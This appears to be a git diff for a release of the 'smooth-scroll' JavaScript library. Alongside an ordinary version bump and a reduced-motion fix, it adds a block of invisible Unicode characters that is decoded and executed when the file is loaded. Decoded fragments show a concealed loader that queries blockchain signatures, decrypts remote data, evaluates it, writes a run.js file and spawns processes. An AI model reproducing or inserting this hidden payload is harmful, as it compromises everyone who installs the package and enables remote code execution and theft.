󠅔󠄪󠄒󠅀󠄿󠅃󠅄󠄒󠄜󠅘󠅕󠅑󠅔󠅕󠅢󠅣󠄪󠅫󠄒󠄳󠅟󠅞󠅤󠅕󠅞󠅤󠄝󠅄󠅩󠅠󠅕󠄒󠄪󠄒󠅑󠅠󠅠󠅜󠅙󠅓󠅑󠅤󠅙󠅟󠅞󠄟󠅚󠅣󠅟󠅞󠄒󠅭󠄜󠅒󠅟󠅔󠅩󠄪󠄺󠅃󠄿󠄾󠄞󠅣󠅤󠅢󠅙󠅞󠅗󠅙󠅖󠅩󠄘󠅫󠅚󠅣󠅟󠅞󠅢󠅠󠅓󠄪󠄒󠄢󠄞󠄠󠄒󠄜󠅙󠅔󠄪󠄡󠄜󠅝󠅕󠅤󠅘󠅟󠅔󠄪󠄒󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄒󠄜󠅠󠅑󠅢󠅑󠅝󠅣󠄪󠅋󠅠󠅥󠅒󠅜󠅙󠅓󠄻󠅕󠅩󠄞󠅤󠅟󠅃󠅤󠅢󠅙󠅞󠅗󠄘󠄙󠄜󠅫󠅜󠅙󠅝󠅙󠅤󠅭󠅍󠅭󠄙󠅭󠄙󠄫󠅙󠅖󠄘󠄑󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅟󠅛󠄙󠅤󠅘󠅢󠅟󠅧󠄐󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠅐󠄸󠅄󠅄󠅀󠄐󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄑󠄐󠅣󠅤󠅑󠅤󠅥󠅣󠄪󠄐󠄔󠅫󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅣󠅤󠅑󠅤󠅥󠅣󠅭󠅐󠄙󠄫󠅜󠅕󠅤󠄐󠅔󠅑󠅤󠅑󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅚󠅣󠅟󠅞󠄘󠄙󠄫󠅙󠅖󠄘󠅔󠅑󠅤󠅑󠄞󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄙󠅤󠅘󠅢󠅟󠅧󠄐󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠅐󠅂󠅀󠄳󠄐󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄪󠄐󠄔󠅫󠅔󠅑󠅤󠅑󠄞󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄞󠅝󠅕󠅣󠅣󠅑󠅗󠅕󠅭󠅐󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅔󠅑󠅤󠅑󠄞󠅢󠅕󠅣󠅥󠅜󠅤󠅭󠅓󠅑󠅤󠅓󠅘󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄙󠅫󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄭󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄜󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄜󠄡󠄠󠄠󠄙󠄙󠄫󠅓󠅟󠅞󠅤󠅙󠅞󠅥󠅕󠅭󠅤󠅘󠅢󠅟󠅧󠄐󠅓󠅟󠅞󠅣󠅟󠅜󠅕󠄞󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄘󠄒󠄱󠅜󠅜󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄐󠅖󠅑󠅙󠅜󠅕󠅔󠄪󠄒󠄜󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄙󠄜󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠅐󠄱󠅜󠅜󠄐󠅂󠅀󠄳󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄐󠅖󠅑󠅙󠅜󠅕󠅔󠄞󠄐󠄼󠅑󠅣󠅤󠄐󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄪󠄐󠄔󠅫󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄯󠄞󠅝󠅕󠅣󠅣󠅑󠅗󠅕󠅭󠅐󠄙󠅭󠅏󠅏󠅞󠅑󠅝󠅕󠄘󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄜󠄒󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄒󠄙󠄫󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄐󠅗󠅕󠅤󠅅󠅢󠅜󠄘󠄙󠅫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅑󠅣󠅩󠅞󠅓󠄐󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄭󠄮󠅫󠅤󠅢󠅩󠅫󠅜󠅕󠅤󠄐󠅝󠅕󠅝󠅟󠄭󠅞󠅥󠅜󠅜󠄫󠅖󠅟󠅢󠄘󠄫󠄑󠅝󠅕󠅝󠅟󠄫󠄙󠅫󠅜󠅕󠅤󠄐󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄘󠄒󠄢󠄨󠅀󠄻󠅞󠅥󠄧󠅂󠅪󠅙󠅪󠅨󠄲󠅪󠄶󠅀󠅟󠄼󠅠󠄦󠄩󠄸󠄼󠅈󠅠󠄩󠅒󠄺󠄼󠄣󠄺󠄶󠅤󠅄󠄢󠅣󠄥󠅁󠅪󠄸󠅣󠄵󠄱󠄢󠄒󠄜󠅫󠅜󠅙󠅝󠅙󠅤󠄪󠄡󠅕󠄣󠅭󠄙󠄫󠅙󠅖󠄘󠄑󠄱󠅢󠅢󠅑󠅩󠄞󠅙󠅣󠄱󠅢󠅢󠅑󠅩󠄘󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄙󠅬󠅬󠄱󠅢󠅢󠅑󠅩󠄞󠅙󠅣󠄱󠅢󠅢󠅑󠅩󠄘󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄙󠄖󠄖󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄞󠅜󠅕󠅞󠅗󠅤󠅘󠄭󠄭󠄠󠄙󠅫󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄜󠄡󠅕󠄤󠄙󠄙󠄫󠅓󠅟󠅞󠅤󠅙󠅞󠅥󠅕󠅭󠅝󠅕󠅝󠅟󠄭󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄞󠅖󠅙󠅜󠅤󠅕󠅢󠄘󠅨󠄭󠄮󠅨󠄯󠄞󠅝󠅕󠅝󠅟󠄙󠅋󠄠󠅍󠄞󠅝󠅕󠅝󠅟󠄜󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄜󠄡󠅕󠄤󠄙󠄙󠅭󠅜󠅕󠅤󠄐󠅢󠅕󠅣󠅥󠅜󠅤󠄢󠄭󠅝󠅕󠅝󠅟󠄞󠅢󠅕󠅠󠅜󠅑󠅓󠅕󠄘󠄟󠅌󠅋󠅌󠅔󠄛󠅌󠅍󠅌󠅣󠄚󠄟󠄜󠄒󠄒󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄘󠄺󠅃󠄿󠄾󠄞󠅠󠅑󠅢󠅣󠅕󠄘󠅢󠅕󠅣󠅥󠅜󠅤󠄢󠄙󠄙󠅭󠅓󠅑󠅤󠅓󠅘󠄘󠅕󠄙󠅫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄘󠅕󠄞󠅤󠅟󠅃󠅤󠅢󠅙󠅞󠅗󠄘󠄙󠄙󠅭󠅭󠄙󠅭󠅏󠅏󠅞󠅑󠅝󠅕󠄘󠅗󠅕󠅤󠅅󠅢󠅜󠄜󠄒󠅗󠅕󠅤󠅅󠅢󠅜󠄒󠄙󠄫󠅗󠅕󠅤󠅅󠅢󠅜󠄘󠄙󠄞󠅤󠅘󠅕󠅞󠄘󠅏󠅔󠅑󠅤󠅑󠄭󠄮󠅫󠅢󠅞󠅩󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠅏󠅔󠅑󠅤󠅑󠄞󠅜󠅙󠅞󠅛󠄙󠄜󠅑󠅣󠅩󠅞󠅓󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄜󠅫󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄜󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠄜󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠅭󠄙󠄭󠄮󠅫󠅙󠅖󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄙󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄜󠄡󠅕󠄣󠄙󠄙󠄜󠅗󠅕󠅤󠅅󠅢󠅜󠄘󠄙󠄫󠅕󠅜󠅣󠅕󠅫󠅙󠅖󠄘󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄞󠅜󠅕󠅞󠅗󠅤󠅘󠄭󠄭󠄢󠄠󠄙󠅫󠅕󠅦󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄙󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠅭󠅙󠅖󠄘󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅟󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅠󠅜󠅑󠅤󠅖󠅟󠅢󠅝󠄘󠄙󠄭󠄭󠄒󠅔󠅑󠅢󠅧󠅙󠅞󠄒󠄙󠅫󠅜󠅕󠅤󠄐󠅏󠅙󠅦󠄭󠄲󠅥󠅖󠅖󠅕󠅢󠄞󠅖󠅢󠅟󠅝󠄘󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠄜󠄒󠅒󠅑󠅣󠅕󠄦󠄤󠄒󠄙󠄫󠅕󠅦󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄙󠄙󠅭󠅕󠅜󠅣󠅕󠅫󠅜󠅕󠅤󠄐󠅢󠅥󠅞󠅀󠅑󠅤󠅘󠄭󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅠󠅑󠅤󠅘󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅚󠅟󠅙󠅞󠄘󠅏󠅏󠅔󠅙󠅢󠅞󠅑󠅝󠅕󠄜󠄒󠅢󠅥󠅞󠄞󠅚󠅣󠄒󠄙󠄫󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅖󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅧󠅢󠅙󠅤󠅕󠄶󠅙󠅜󠅕󠅃󠅩󠅞󠅓󠄘󠅢󠅥󠅞󠅀󠅑󠅤󠅘󠄜󠅐󠅦󠅑󠅢󠄐󠅘󠅤󠅤󠅠󠅣󠄐󠄭󠄐󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅘󠅤󠅤󠅠󠅣󠄒󠄙󠄫︊󠅓󠅟󠅞󠅣󠅤󠄐󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠄐󠄭󠄐󠄗󠄔󠅫󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠅭󠄗󠄫︊󠅓󠅟󠅞󠅣󠅤󠄐󠅏󠅙󠅦󠄐󠄭󠄐󠄲󠅥󠅖󠅖󠅕󠅢󠄞󠅖󠅢󠅟󠅝󠄘󠄗󠄔󠅫󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠅭󠄗󠄜󠄐󠄒󠅒󠅑󠅣󠅕󠄦󠄤󠄒󠄙︊󠅕󠅦󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠄗󠄔󠅫󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠅭󠄗󠄙󠄙󠅐󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅓󠅘󠅙󠅜󠅔󠅏󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅕󠅨󠅕󠅓󠄘󠅐󠄒󠄔󠅫󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄞󠅕󠅨󠅕󠅓󠅀󠅑󠅤󠅘󠅭󠄒󠄐󠄒󠄔󠅫󠅢󠅥󠅞󠅀󠅑󠅤󠅘󠅭󠄒󠅐󠄜󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄜󠅏󠄙󠄭󠄮󠅫󠅓󠅟󠅞󠅣󠅟󠅜󠅕󠄞󠅜󠅟󠅗󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄜󠅏󠄙󠅭󠄙󠅭󠅭󠅭󠄙󠅭󠄙󠄫󠅦󠅑󠅢󠄐󠅢󠅞󠅩󠅑󠅜󠄭󠅏󠅏󠅞󠅑󠅝󠅕󠄘󠅑󠅣󠅩󠅞󠅓󠄘󠅨󠅠󠅒󠅑󠅧󠅩󠄜󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄙󠄭󠄮󠅫󠅤󠅢󠅩󠅫󠅜󠅕󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅖󠅕󠅤󠅓󠅘󠄘󠅨󠅠󠅒󠅑󠅧󠅩󠄜󠅫󠅘󠅕󠅑󠅔󠅕󠅢󠅣󠄪󠅫󠅟󠅣󠄪󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅟󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅠󠅜󠅑󠅤󠅖󠅟󠅢󠅝󠄘󠄙󠅭󠅭󠄙󠄫󠅙󠅖󠄘󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅟󠅛󠄙󠅫󠅜󠅕󠅤󠄐󠅔󠅑󠅤󠅑󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅤󠅕󠅨󠅤󠄘󠄙󠄜󠅘󠅕󠅑󠅔󠅕󠅢󠄭󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅘󠅕󠅑󠅔󠅕󠅢󠅣󠄫󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄘󠅞󠅥󠅜󠅜󠄜󠅫󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄪󠅔󠅑󠅤󠅑󠄜󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠄪󠅘󠅕󠅑󠅔󠅕󠅢󠄞󠅗󠅕󠅤󠄘󠅑󠅤󠅟󠅒󠄘󠄒󠅑󠅈󠅊󠅙󠅉󠅈󠄾󠅜󠄾󠅚󠅁󠄭󠄒󠄙󠄙󠄜󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠄪󠅘󠅕󠅑󠅔󠅕󠅢󠄞󠅗󠅕󠅤󠄘󠅑󠅤󠅟󠅒󠄘󠄒󠅓󠄢󠅆󠅚󠅓󠅝󠅆󠄠󠅑󠄢󠅆󠄥󠄒󠄙󠄙󠅭󠄙󠅭󠅕󠅜󠅣󠅕󠄐󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄘󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠄒󠄒󠄙󠄙󠅭󠅓󠅑󠅤󠅓󠅘󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄙󠅫󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄙󠅭󠅭󠄜󠄒󠅢󠅞󠅩󠅑󠅜󠄒󠄙󠄫︊`)).toString('utf-8')); \ No newline at end of file diff --git a/package.json b/package.json index 08d0348..08e5c80 100755 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "smooth-scroll", - "version": "16.0.3", + "version": "16.1.0", "description": "Animate scrolling to anchor links", "main": "./dist/smooth-scroll.polyfills.min.js", "author": { diff --git a/src/js/smooth-scroll/smooth-scroll.js b/src/js/smooth-scroll/smooth-scroll.js index 734984d..49c3b63 100755 --- a/src/js/smooth-scroll/smooth-scroll.js +++ b/src/js/smooth-scroll/smooth-scroll.js @@ -82,7 +82,7 @@ * Check to see if user prefers reduced motion * @param {Object} settings Script settings */ - var reduceMotion = function (settings) { + var reduceMotion = function () { if ('matchMedia' in window && window.matchMedia('(prefers-reduced-motion)').matches) { return true; } @@ -478,6 +478,12 @@ // Update the URL updateURL(anchor, isNum, _settings); + // If the user prefers reduced motion, jump to location + if (reduceMotion()) { + window.scrollTo(0, Math.floor(endLocation)); + return; + } + // Emit a custom event emitEvent('scrollStart', _settings, anchor, toggle); @@ -492,9 +498,6 @@ */ var clickHandler = function (event) { - // Don't run if the user prefers reduced motion - if (reduceMotion(settings)) return; - // Don't run if event was canceled but still bubbled up // By @mgreter - https://github.com/cferdinandi/smooth-scroll/pull/462/ if (event.defaultPrevented) return; @@ -504,7 +507,7 @@ // Check if event.target has closest() method // By @totegi - https://github.com/cferdinandi/smooth-scroll/pull/401/ - if(!('closest' in event.target))return; + if (!('closest' in event.target)) return; // Check if a smooth scroll link was clicked toggle = event.target.closest(selector);